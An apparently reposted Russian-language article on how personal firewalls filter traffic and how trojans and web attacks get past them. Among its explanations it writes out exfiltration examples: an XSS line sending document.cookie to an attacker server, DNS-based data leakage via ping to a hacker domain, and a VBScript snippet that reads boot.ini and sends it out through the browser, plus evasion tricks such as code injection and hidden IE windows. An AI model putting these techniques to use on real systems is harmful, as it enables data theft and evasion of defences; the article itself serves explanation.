Пятница, 19.04.2024, 16:01
Приветствую Вас Гость | RSS
Главная | Полезно знать | Регистрация | Вход

Купон
вход
Поиск

Главная » 2010 » Октябрь » 1 » Защита компьютера от проникновения
17:10
Защита компьютера от проникновения

Защищаем свой компьютер.

Файервол – он же межсетевой экран.

Последнее время большое распространение получили межсетевые экраны (иначе «брандмауэры», «файерволы»). Они позволяют защитить компьютер от проникновения на них вирусов, а также от утечки информации через троянские программы.
Однако, как любое средство защиты, файервол делает то, что в него заложил разработчик. Вот основные функции, которые реализуют МСЭ:

  • фильтрация трафика на сетевом уровне
  • фильтрация содержимого прикладных протоколов
  • ограничение сетевой активности приложений и контроль утечки данных

Сетевой уровень - фильтрация

Главный защитный механизм, который реализует брандмауэр - фильтрация трафика. Фильтрация предполагает анализ пакетов, идущих между интерфейсами межсетевого экрана ,с целью проверки на соответствие политике безопасности. В случае если пакет удовлетворяет разрешающему правилу, он ретранслируется межсетевым экраном, иначе - отбрасывается. В зависимости от глубины проверки передаваемых данных, а также правил фильтрации различают несколько типов межсетевых экранов. Например, простой пакетный фильтр сморит каждый пакет отдельно и в качестве критериев фильтрации использует заголовки сетевого и транспортного уровней, то есть IP-адреса отправителя и получателя, номера TCP/UDP-портов и т.д. Обмануть такой межсетевой экран не составляет труда.

Более продвинутые межсетевые экраны (stateful) фильтруют в контексте соединения. Они не только анализируют дополнительные поля заголовков пакетов (такие, как состояние флагов SYN, ACK, FIN, RST и значения Sequence Number), но и запоминают их значение для предыдущих пакетов. Поэтому могут отличить «подделанный» пакет от тех, которые принадлежат данному легальному соединению. Большинство персональных межсетевых экранов являются, как минимум, stateful МСЭ для TCP/UDP/ICMP. То есть умеют различать, кто и в каком направлении установил соединение, и считать номера пакетов. Установив персональный межсетевой экран в «правильной» конфигурации, можешь не бояться злобных червей типа Sasser или MSBlast, стучащихся на открытые 445-й и 135-й порты. Хотя, непонятно, зачем оставлять на компьютере неиспользуемую сетевую службу. Не хочешь ты, чтобы CIFS/SMB/NetBIOS (порты 137, 138, 139, 445) светилось наружу – останови службу "Server”. Не нужен тебе 135-й порт – привяжи RPC к 127.0.0.1 и не мучайся. Нормально настроенный пользовательский компьютер при сканировании nmap должен, максимум отвечает на ping. И не потому что на нем стоит защита, а потому что на нем никто не слушает сеть. Но чтобы реализовать подобное стандартными средствами Windows, надо хотя бы знать софт, который стоит на машине. В то время как МСЭ разбираются в этом сами.

Кстати, чтобы определить, какие программы слушают сеть на твоей машине, совершенно не обязательно устанавливать программы типа специализированный софт. В Windows для этого можно воспользоваться двумя командами: netstat и tasklist (в ранних версиях Windows). Команда netstat –ano выдает список сетевых соединений и открытых портов, вместе с идентификатором процесса (PID), который это соединение использует. Чтобы узнать, к какому процессу относится этот PID, можно воспользоваться диспетчером задач или просто запустить tasklist. Программа tasklist, запущенная с ключом -svc, позволяет узнать, какие сетевые службы (сервисы) обслуживаются тем или иным процессом.
Поскольку фильтрация трафика является старым и наиболее проработанным методом защиты, обойти ее напрямую довольно трудно. Если межсетевой экран запрещает входящие соединения, то установить соединение с сервисом на машине невозможно Поэтому чаще всего проникают на компьютеры с установленным межсетевым экраном через клиентские программы.
Фильтрация на уровне приложений
Если напрямую прорваться через персональный межсетевой экран не удалось, это делают через клиентское приложение. Основные векторы атак на клиентов - это Web, почта и ошибки пользователей. Причем часто эти векторы используются совместно. Например, приходит письмо, в котором под видом крякера программы лежит троян, отсылающий пароли на вражеский web-сервер. От социотехники и других методов обмана межсетевые экраны, конечно, не защищают. Будьте внимательны.

Если внимательно проанализировать Bugtraq, то окажется, что наибольшее количество ошибок приходится именно на клиентские приложения. Самый дырявый, естественно, Internet Explorer, но и другие программы не отстают. Даже в милой сердцу любого юниксоида утилите mail в свое время были найдено переполнение буфера обмена. (Однако персональные файерволы не дремлют и в этом случае. Многие из них реализуют функцию фильтрации содержимого (content-filter), то есть умеют работать на прикладном уровне протокола TCP/IP.

Давай представим следующую ситуацию. У вас стоит почтовый content-filter, настроенный на фильтрацию ключевых слов. Вдруг приходит почтовое сообщение, содержащее архив ZIP, в котором есть документ Word, в который вставлена таблица Excel, в одном из столбцов которого содержатся нехорошие слова, например, «Mega Secret Data». Content-filter соберет из отдельных пакетов все почтовое сообщение, найдет в нем архив, развернет его, просмотрит документ Word, обнаружит таблицу Excel и нехорошие слова в ней, после чего заблокирует его.
Кроме того, эти фильтры могут фильтровать компоненты ActiveX, скрипты JavaScript и VBScript, почтовые вложения с расширениями exe и src. Находит хакер на сервере www.pochta-mail.org уязвимость типа Cross-Site-Scripting и начинает долбить клиентов этого сервера почтовыми сообщениями, тихонько уводящими их пароли. Но вожделенный location.href=”myserver.com&”+document.cookie почему-то не уходит с их машин. В этом может быть виноват брандмауэр, обрезающий потенциально небезопасное содержимое – сценарии.
Взлом защиты
Помните, что грамотно настроенная защита - поможет избежать трат на ремонт компьютеров. Фильтры содержимого далеко не всегда могут распознать вредоносный код. Это связанно с тем, что полностью спрогнозировать себе поведение клиентской программы практически невозможно. Ни разу не замечали, как программа из пары сотен строк, работавшая вчера, сегодня начинает вытворять непонятно что? Здесь то же самое: фаервол думает одно, а браузер или почтовая программа – совсем другое. Например, МСЭ настроен на запрет VBScript. И пользователь получает страницу, на которой есть код:

script language=javascript
document.write(' ')
/script


С точки зрения файервола, это безобидный JavaScript, а, с точки зрения браузера, это два скрипта. Когда Internet Explorer начнет обрабатывать подобную конструкцию, JavaScript создаст в теле страницы динамический сценарий, написанный на запрещенном VBScript.
Практически все персональные межсетевые экраны реализуют проверку приложений, работающих с сетью. Они умеют просматривать сетевую активность приложений, пропуская разрешенное приложение, например Internet Explorer, и блокируя все остальные. Сетевые файерволы могут разграничивать доступ к ресурсам на уровне приложений. Например, Microsoft ISA Server при использовании Firewall Client позволяет указывать, каким из приложений можно пользоваться для выхода во внешнюю сеть. Казалось бы, контроль сетевых приложений – весьма действенная штука для большинства троянских программ. Однако это не так. Существует огромное количество методов, позволяющих обойти эту защиту. Основные из них:

  • использование собственных сетевых драйверов
  • внедрение кода в доверенные процессы
  • использование служебных протоколов
  • использование доверенных приложений для утечки данных

Первые два способа требуют, чтобы троянская программа была запущена с правами администратора.
Сетевые драйвера
Устанавливается самописный сетевой драйвер, работающий напрямую с NDIS. Если файервол фильтрует трафик на уровне Winsock, он просто «не видит» проходящего трафика. Сейчас способ не актуален, поскольку он избитый и большинство файерволов его ловит.
Доверенные процессы (Code Injection)
Внедрение кода использует другой метод. В памяти ищется заведомо разрешенная программа, в ее адресное пространство внедряется код, через который осуществляется контакт с клиентской частью троянской программы. Межсетевой экран разрешил взаимодействие программы с внешней сетью, поэтому он пропускает трафик троянца.
Есть несколько способов внедрения в адресное пространство других процессов. Один из них – подмена API и DLL Injection. Этот метод часто используют rootkits для Windows. Однако, как говорилось, подобные методы требуют, чтобы троян был запущен с правами администратора, что часто блокируется возможно. Два последних метода лишены этого недостатка.
Служебные протоколы и доверенные приложения

Использование служебных протоколов позволяет «выводить» данные с атакуемого компьютера через те сетевые службы, которые обычно не контролируются файерволами. Например, троян запускает команду ping deww2362hewuiw.megahackersuper.wherehere.ru. Windows посылает DNS запрос на разрешение имени в IP-адрес. МСЭ пропускает этот запрос. На приемной стороне стоит «специализированный» сервер DNS, отвечающий за зону megahackersuper.wherehere.ru, который извлекает из имени (deww2362hewuiw) сворованные данные и возвращает в ответе команды трояну. В результате имеем утечку. Еще один интересный способ – запустить Internet Explorer и сделать запрос на передачу данных во внешний мир. Но здесь возникает одна проблема – IE должен работать в скрытом режиме, чтобы пользователя не удивляли непонятные окна на рабочем столе, занимающиеся своими делами.
Но большинство экранов знают об этой возможности и перехватывают запуск приложений типа SW_HIDE. Есть один несложный способ обойти подобную защиту – запустить IE в нормально режиме, после чего сразу же послать окну команду SW_HIDE. Если все делать оперативно, пользователь ничего не поймёт. Для передачи данных Internet Explorer может воспользоваться сценариями. Посмотри на пример:

script
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile("c:boot.ini", 1, False)
While Not f.atEndOfStream
s = f.ReadLine
ss=ss+"
"+s
Wend
document.location.href="http:// /getfile.asp?"&ss
/script


Эта небольшая программа считывает с жесткого диска содержимое файла boot.ini, используя тот же экземпляр браузера, в котором выполняется.

Просмотров: 3503 | Добавил: TamLan | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Яндекс.Метрика
Главная
Обратная связьБлогКаталог сайтов
ФотоальбомИнтернет-Магазин
ПрограммыКлиентамКарта сайта
Наши услуги
ФорумНужная информацияСоздание сайтов

Stavropol 2024